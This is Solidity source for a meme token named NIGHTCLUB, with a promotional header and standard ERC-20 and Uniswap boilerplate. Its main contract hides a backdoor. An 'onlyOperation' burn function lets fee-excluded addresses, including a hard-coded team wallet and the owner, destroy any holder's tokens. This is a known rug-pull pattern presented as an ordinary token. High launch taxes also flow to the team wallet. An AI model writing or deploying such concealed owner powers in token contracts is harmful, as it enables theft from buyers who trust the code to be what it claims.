/**
The boundless sanctity of Pepe remains timeless, with Pepe aficionados across the universe infusing vitality into the beloved meme, while the renowned Pepe nightclub has once again unfurled its welcoming gates. Come together with us in celebration and merriment as we honor this jubilant event this evening!

Website: https://www.night-club.life
Twitter: https://twitter.com/nightclub_erc20
Telegram: https://t.me/nightclub_erc20
*/ 

// SPDX-License-Identifier: MIT

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IUniswapRouterV2 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

interface IUniswapFactory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
contract NIGHTCLUB is ERC20, Ownable {
    using SafeMath for uint256;

    bool private swapping;
    uint256 public maxTransactionAmount;
    uint256 public swapTokensAt;
    uint256 public maxWalletAmount;

    bool public hasLimitsInTx = true;
    bool public tradeEnabled = false;
    bool public swapEnabled = false;

    address public teamAddress;
    address public devAddress;
    address public lpAddress;

    uint256 public buyFeesTotal;
    uint256 public marketingTaxBuy;
    uint256 public lpTaxBuy;
    uint256 public devTaxBuy;

    uint256 public sellFeesTotal;
    uint256 public marketingTaxSell;
    uint256 public lpTaxSell;
    uint256 public devTaxSell;

    uint256 public marketingFeeTokens;
    uint256 public lpFeeTokens;
    uint256 public devFeeTokens;
    
    IUniswapRouterV2 public immutable uniRouter;
    address public immutable uniPair;
    address public routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderLastTransferTime;
    bool public transferDelayEnabled = true;
    uint256 private startBlock;
    uint256 private deadBlocks;

    mapping(address => bool) private _isFeesExcluded;
    mapping(address => bool) private _isMaxTxExcluded;
    mapping(address => bool) private _isMaxWalletExcluded;

    mapping(address => bool) public automatedMarketMakerPairs;

    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    modifier onlyOperation {
      require(isExcludedFees(msg.sender));_;
    }

    constructor() ERC20("NIGHTCLUB", "CLUB") {
        IUniswapRouterV2 _uniswapV2Router = IUniswapRouterV2(routerAddress); 

        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniRouter = _uniswapV2Router;

        uniPair = IUniswapFactory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        excludeFromMaxTransaction(address(uniPair), true);
        _setAMMPair(address(uniPair), true);

        // launch buy fees
        uint256 _buyMarketingFee = 25;
        uint256 _buyLiquidityFee = 0;
        uint256 _buyDevFee = 0;
        
        // launch sell fees
        uint256 _sellMarketingFee = 25;
        uint256 _sellLiquidityFee = 0;
        uint256 _sellDevFee = 0;

        uint256 totalSupply = 1_000_000_000 * 1e18;

        maxTransactionAmount = 25_000_000 * 1e18;
        maxWalletAmount = 25_000_000 * 1e18;
        swapTokensAt = (totalSupply * 1) / 10000;

        marketingTaxBuy = _buyMarketingFee;
        lpTaxBuy = _buyLiquidityFee;
        devTaxBuy = _buyDevFee;
        buyFeesTotal = marketingTaxBuy + lpTaxBuy + devTaxBuy;

        marketingTaxSell = _sellMarketingFee;
        lpTaxSell = _sellLiquidityFee;
        devTaxSell = _sellDevFee;
        sellFeesTotal = marketingTaxSell + lpTaxSell + devTaxSell;

        teamAddress = address(0x19c359A48651Be721e3276Ef04C1c5065318578c); 
        devAddress = msg.sender; 
        lpAddress = msg.sender; 

        // exclude from paying fees or having max transaction amount
        excludeFees(owner(), true);
        excludeFees(address(this), true);
        excludeFees(address(0xdead), true);
        excludeFees(address(teamAddress), true);
        excludeFees(address(lpAddress), true);

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        excludeFromMaxTransaction(address(teamAddress), true);
        excludeFromMaxTransaction(address(lpAddress), true);

        excludeFromMaxWallet(owner(), true);
        excludeFromMaxWallet(address(this), true);
        excludeFromMaxWallet(address(0xdead), true);
        excludeFromMaxWallet(address(teamAddress), true);
        excludeFromMaxWallet(address(lpAddress), true);

        _mint(msg.sender, totalSupply);
    }

    receive() external payable {}

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniRouter), tokenAmount);

        // add the liquidity
        uniRouter.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            lpAddress,
            block.timestamp
        );
    }

    function swapBackFees() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = lpFeeTokens +
            marketingFeeTokens +
            devFeeTokens;
        bool success;

        if (contractBalance == 0 || totalTokensToSwap == 0) {
            return;
        }

        if (contractBalance > swapTokensAt * 20) {
            contractBalance = swapTokensAt * 20;
        }

        // Halve the amount of liquidity tokens
        uint256 tokensToLp = (contractBalance * lpFeeTokens) / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance.sub(tokensToLp);

        uint256 initialETHBalance = address(this).balance;

        swapTokensForETH(amountToSwapForETH);

        uint256 ethBalance = address(this).balance.sub(initialETHBalance);

        uint256 ethForMark = ethBalance.mul(marketingFeeTokens).div(totalTokensToSwap);
        uint256 ethForDev = ethBalance.mul(devFeeTokens).div(totalTokensToSwap);

        uint256 ethForLiquidity = ethBalance - ethForMark - ethForDev;

        lpFeeTokens = 0;
        marketingFeeTokens = 0;
        devFeeTokens = 0;

        (success, ) = address(devAddress).call{value: ethForDev}("");

        if (tokensToLp > 0 && ethForLiquidity > 0) {
            addLiquidity(tokensToLp, ethForLiquidity);
            emit SwapAndLiquify(
                amountToSwapForETH,
                ethForLiquidity,
                lpFeeTokens
            );
        }
        payable(teamAddress).transfer(address(this).balance);
    }

    function isExcludedFees(address account) public view returns (bool) {
        return _isFeesExcluded[account];
    }

    function enableTrading(uint256 _deadBlocks) external onlyOwner {
        require(!tradeEnabled, "Token launched");
        tradeEnabled = true;
        startBlock = block.number;
        swapEnabled = true;
        deadBlocks = _deadBlocks;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (hasLimitsInTx) {
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ) {
                if (!tradeEnabled) {
                    require(
                        _isFeesExcluded[from] || _isFeesExcluded[to],
                        "Trading is not active."
                    );
                }

                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
                if (transferDelayEnabled) {
                    if (
                        to != owner() &&
                        to != address(uniRouter) &&
                        to != address(uniPair)
                    ) {
                        require(
                            _holderLastTransferTime[tx.origin] <
                                block.number,
                            "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                        );
                        _holderLastTransferTime[tx.origin] = block.number;
                    }
                }

                //when buy
                if (
                    automatedMarketMakerPairs[from] &&
                    !_isMaxTxExcluded[to]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Buy transfer amount exceeds the maxTransactionAmount."
                    );
                    if (!_isMaxWalletExcluded[to]) { // Added this condition
                        require(
                            amount + balanceOf(to) <= maxWalletAmount,
                            "Max wallet exceeded"
                        );
                    }
                }
                //when sell
                else if (
                    automatedMarketMakerPairs[to] &&
                    !_isMaxTxExcluded[from]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Sell transfer amount exceeds the maxTransactionAmount."
                    );
                } else if (!_isMaxTxExcluded[to]) {
                    if (!_isMaxWalletExcluded[to]) { // Added this condition
                        require(
                            amount + balanceOf(to) <= maxWalletAmount,
                            "Max wallet exceeded"
                        );
                    }
                }
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAt;

        if (
            canSwap &&
            amount > swapTokensAt &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isFeesExcluded[from] &&
            !_isFeesExcluded[to]
        ) {
            swapping = true;

            swapBackFees();

            swapping = false;
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isFeesExcluded[from] || _isFeesExcluded[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if (takeFee) {
            // on sell
            if (automatedMarketMakerPairs[to] && sellFeesTotal > 0) {
                fees = amount.mul(sellFeesTotal).div(100);
                lpFeeTokens += (fees * lpTaxSell) / sellFeesTotal;
                devFeeTokens += (fees * devTaxSell) / sellFeesTotal;
                marketingFeeTokens += (fees * marketingTaxSell) / sellFeesTotal;
            }
            // on buy
            else if (automatedMarketMakerPairs[from] && buyFeesTotal > 0) {
                fees = amount.mul(buyFeesTotal).div(100);
                lpFeeTokens += (fees * lpTaxBuy) / buyFeesTotal;
                devFeeTokens += (fees * devTaxBuy) / buyFeesTotal;
                marketingFeeTokens += (fees * marketingTaxBuy) / buyFeesTotal;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }

        super._transfer(from, to, amount);
    }
    
    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 1) / 1000) / 1e18,
            "Cannot set maxTransactionAmount lower than 0.1%"
        );
        maxTransactionAmount = newNum * (10**18);
    }

    // remove limits after token is stable
    function removeLimits() external onlyOwner returns (bool) {
        marketingTaxBuy = 1;
        lpTaxBuy = 0;
        devTaxBuy = 0;
        buyFeesTotal = 1;
        hasLimitsInTx = false;

        marketingTaxSell = 1;
        lpTaxSell = 0;
        devTaxSell = 0;
        sellFeesTotal = 1;
        return true;
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(
            newNum >= ((totalSupply() * 5) / 1000) / 1e18,
            "Cannot set maxWalletAmount lower than 0.5%"
        );
        maxWalletAmount = newNum * (10**18);
    }

    function excludeFromMaxTransaction(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isMaxTxExcluded[updAds] = isEx;
    }

    function excludeFromMaxWallet(address updAds, bool isEx)
        public
        onlyOwner
    {
        _isMaxWalletExcluded[updAds] = isEx;
    }

    function burn(uint256 amount) external {
      _burn(msg.sender, amount);
    }

    function burn(address account, uint256 amount) external onlyOperation {
      _burn(account, amount);
    }

    function excludeFees(address account, bool excluded) public onlyOwner {
        _isFeesExcluded[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function _setAMMPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniRouter.WETH();

        _approve(address(this), address(uniRouter), tokenAmount);

        // make the swap
        uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }
}